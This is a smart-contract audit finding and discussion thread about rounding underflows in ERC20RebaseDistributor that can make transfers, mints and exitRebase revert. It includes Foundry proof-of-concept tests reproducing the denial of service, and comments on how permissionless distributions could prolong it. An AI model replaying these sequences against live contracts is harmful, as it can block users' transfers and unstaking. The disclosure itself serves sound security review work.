Rounding errors can cause ERC20RebaseDistributor transfers and mints to fail for underflow

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L618
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L531
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L594
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L688
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L712

Vulnerability details

When calculating share changes during ERC20RebaseDistributor token transfers, the logic computes the share delta as follows:

File: ERC20RebaseDistributor.sol
553:     function transfer(
554:         address to,
555:         uint256 amount
556:     ) public virtual override returns (bool) {
---
603:         if (rebasingStateTo.isRebasing == 1) {
---
618:             uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;

It is possible that due to rounding, rebasingStateTo.nShares is higher than toSharesAfter by 1 wei, causing the transfer to fail.

A similar issue can happen when unminted rewards are taken off the rebase pool:

File: ERC20RebaseDistributor.sol
228:     function decreaseUnmintedRebaseRewards(uint256 amount) internal {
229:         InterpolatedValue memory val = __unmintedRebaseRewards;
230:         uint256 _unmintedRebaseRewards = interpolatedValue(val);
231:         __unmintedRebaseRewards = InterpolatedValue({
232:             lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp), // now
233:             lastValue: SafeCastLib.safeCastTo224(
234:                 _unmintedRebaseRewards - amount
235:             ), // adjusted current
236:             targetTimestamp: val.targetTimestamp, // unchanged
237:             targetValue: val.targetValue - SafeCastLib.safeCastTo224(amount) // adjusted target
238:         });
239:     }

where it is possible that amount is higher than _unmintedRebaseRewards, introducing also in this place a revert condition.

Impact

Transfers and mints from or towards addresses that are rebasing may fail in real-world scenarios. This failure can be used as a means to DoS sensitive operations like liquidations. Addresses who enter this scenario aren't also able to exit rebase to fix their transfers.

Proof of Concept

Below a foundry PoC (full setup here) which shows a scenario where a transfer (or mint) to a rebasing user can fail by underflow on the _unmintedRebaseRewards - amount operation:

    function testM2bis() external {
        uint t0 = block.timestamp;

        // set up the credit token with the minimum 100e18 rebasing supply
        // as indicated here -> 
        // https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L37
        ct.mint(address(1), 100e18);
        vm.prank(address(1));
        ct.enterRebase();
        
        ct.mint(address(2), 6e11); vm.prank(address(2)); ct.distribute(6e11);
        vm.warp(2);
        ct.mint(address(2), 3e12); vm.prank(address(2)); ct.distribute(3e12);
        vm.warp(3);
        
        ct.mint(address(3), 1e20);
        vm.prank(address(3));

        // ☢️ this shouldn't revert!
        vm.expectRevert();
        ct.transfer(address(1), 1e20);

        // ☢️ this shouldn't either!
        vm.expectRevert();
        ct.mint(address(1), 1e20);

        // ☢️ this too..
        vm.prank(address(1));
        vm.expectRevert();
        ct.exitRebase();

        // ☢️ same here...
        vm.startPrank(address(1));
        vm.expectRevert();
        ct.transfer(address(3), 1e20);

        // ☢️ I bet you saw this coming...
        ct.approve(address(3), 1e20);
        vm.startPrank(address(3));
        vm.expectRevert();
        ct.transferFrom(address(1), address(3), 1e20);
    }

With lower impact because involving a zero-value transfer, the following PoC in Foundry (the full runnable test can be found here) shows a transfer failing on the toSharesAfter - rebasingStateTo.nShares operation:

    function testM2() external {
        address from = address(uint160(1));
        address to = address(uint160(2));

        ct.mint(to, 100 ether);

        vm.startPrank(to);
        ct.enterRebase();
        ct.distribute(1 ether);

        vm.warp(block.timestamp + 1);
        vm.startPrank(from);

        vm.expectRevert();
        ct.transfer(to, 0);

        vm.expectRevert();
        ct.transferFrom(from, to, 0);
    }

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Consider adapting shares calculations to tolerate rounding fluctuations i.e. by flooring to 0 the mentioned subtractions.

Assessed type

Token-Transfer

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[c4-sponsor]

eswak (sponsor) confirmed

[c4-judge]

Trumpero marked the issue as satisfactory

[c4-judge]

Trumpero marked the issue as selected for report

[RunSoul22]

After carefully reviewing the report and discussing it with other auditors, I believe that the severity of this issue should be reassessed.

The problem is that division rounds down and more divisions result in greater precision loss. Specifically, in this report, the calculation of toSharesAfter involves three divisions, which results in underflow during the subsequent subtraction. It is important to note that the underflow issue in the provided POC above is temporary and only lasts for 31 seconds. After this time, the transfer() and mint() functions will work as expected.

Proof of Concept

The variable toSharesAfter is determinted by this formular:

    uint256 toSharesAfter = _balance2shares(toBalanceAfter, _rebasingSharePrice);

    function _balance2shares(
        uint256 balance,
        uint256 sharePrice
    ) internal pure returns (uint256) {
        return (balance * START_REBASING_SHARE_PRICE) / sharePrice;
    }

The toBalanceAfter variable is determined by this formular:

    uint256 rawToBalanceAfter = ERC20.balanceOf(to);
    uint256 toBalanceAfter = _shares2balance(
         rebasingStateTo.nShares,
         _rebasingSharePrice,
         amount,
         rawToBalanceAfter
     );

The toBalanceAfter variable depends on _rebasingSharePrice, which means that toSharesAfter also heavily relies on it.

It is important to note that the _rebasingSharePrice variable is not a constant and it is increased linearly.

       uint256 _rebasingSharePrice =  (rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1)
                                        ? rebasingSharePrice()
                                        : 0; // only SLOAD if at least one address is rebasing
       
       function rebasingSharePrice() public view returns (uint256) {
          return interpolatedValue(__rebasingSharePrice);
       }
  
        function interpolatedValue(
            InterpolatedValue memory val
        ) internal view returns (uint256) {
            // load state
            uint256 lastTimestamp = uint256(val.lastTimestamp); // safe upcast
            uint256 lastValue = uint256(val.lastValue); // safe upcast
            uint256 targetTimestamp = uint256(val.targetTimestamp); // safe upcast
            uint256 targetValue = uint256(val.targetValue); // safe upcast
    
            // interpolate increase over period
            if (block.timestamp >= targetTimestamp) {
                // if period is passed, return target value
                return targetValue;
            } else {
                // block.timestamp is within [lastTimestamp, targetTimestamp[
                uint256 elapsed = block.timestamp - lastTimestamp;
                uint256 delta = targetValue - lastValue;
                return lastValue + (delta * elapsed) / (targetTimestamp - lastTimestamp);//note linear unlock
            }
        }

Next, we determine the amount of time needed for the rounding error to disappear. The result is 31 seconds.

Please add the following test to the CreditToken.t.sol file and run it using the command forge test --mc CreditTokenUnitTest --mt test_issue294.

    function test_issue294() public {
        // create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
        vm.stopPrank();

        token.mint(address(1), 100e18);
        vm.prank(address(1));
        token.enterRebase();

        token.mint(address(2), 6e11);
        vm.prank(address(2));
        token.distribute(6e11);
        vm.warp(block.timestamp + 2 seconds);

        token.mint(address(2), 3e12);
        vm.prank(address(2));
        token.distribute(3e12);
        vm.warp(block.timestamp + 31 seconds); //note wait for 31 seconds

        token.mint(address(3), 1e20);
        vm.startPrank(address(3));
        // this works
        // vm.expectRevert();
        token.transfer(address(1), 1e20);
        vm.stopPrank();

        // this works
        // vm.expectRevert();
        token.mint(address(1), 1e20);

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.exitRebase();
        vm.stopPrank();

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.transfer(address(3), 1e20);

        // this works
        token.approve(address(3), 1e20);
        vm.startPrank(address(3));
        // vm.expectRevert();
        token.transferFrom(address(1), address(3), 1e20);
        vm.stopPrank();
    }

[3docSec]

Hi, while the attack in the PoC is temporary, new small-amount distributions (which are permissionless) with appropriate timing and amounts can be made to make the DoS last longer.

[RunSoul22]

Upon further investigation, I found that if we remove the vm.warp(block.timestamp + 2 seconds); statement, then the underflow dispears immediately.

    function test_issue294_removeVmWarp() public {
        // create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
        vm.stopPrank();

        token.mint(address(1), 100e18);
        vm.prank(address(1));
        token.enterRebase();

        token.mint(address(2), 6e11);
        vm.prank(address(2));
        token.distribute(6e11);
        // vm.warp(block.timestamp + 2 seconds);

        token.mint(address(2), 3e12);
        vm.prank(address(2));
        token.distribute(3e12);
        // vm.warp(block.timestamp + 31 seconds); //note no need to wait anymore

        token.mint(address(3), 1e20);
        vm.startPrank(address(3));
        // this works
        // vm.expectRevert();
        token.transfer(address(1), 1e20);
        vm.stopPrank();

        // this works
        // vm.expectRevert();
        token.mint(address(1), 1e20);

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.exitRebase();
        vm.stopPrank();

        // this works
        vm.startPrank(address(1));
        // vm.expectRevert();
        token.transfer(address(3), 1e20);

        // this works
        token.approve(address(3), 1e20);
        vm.startPrank(address(3));
        // vm.expectRevert();
        token.transferFrom(address(1), address(3), 1e20);
        vm.stopPrank();
    }

[Trumpero]

Although the likelihood is low, the impact of this issue is significant since it can brick Credit token's minting and transferring, potentially preventing users from unstaking from SurplusGuildMinter in certain cases. The duration of the Denial of Service (DoS) attack is temporary, but users may not be able to unstake promptly to avoid being slashed in SurplusGuildMinter. Therefore, medium severity is appropriate.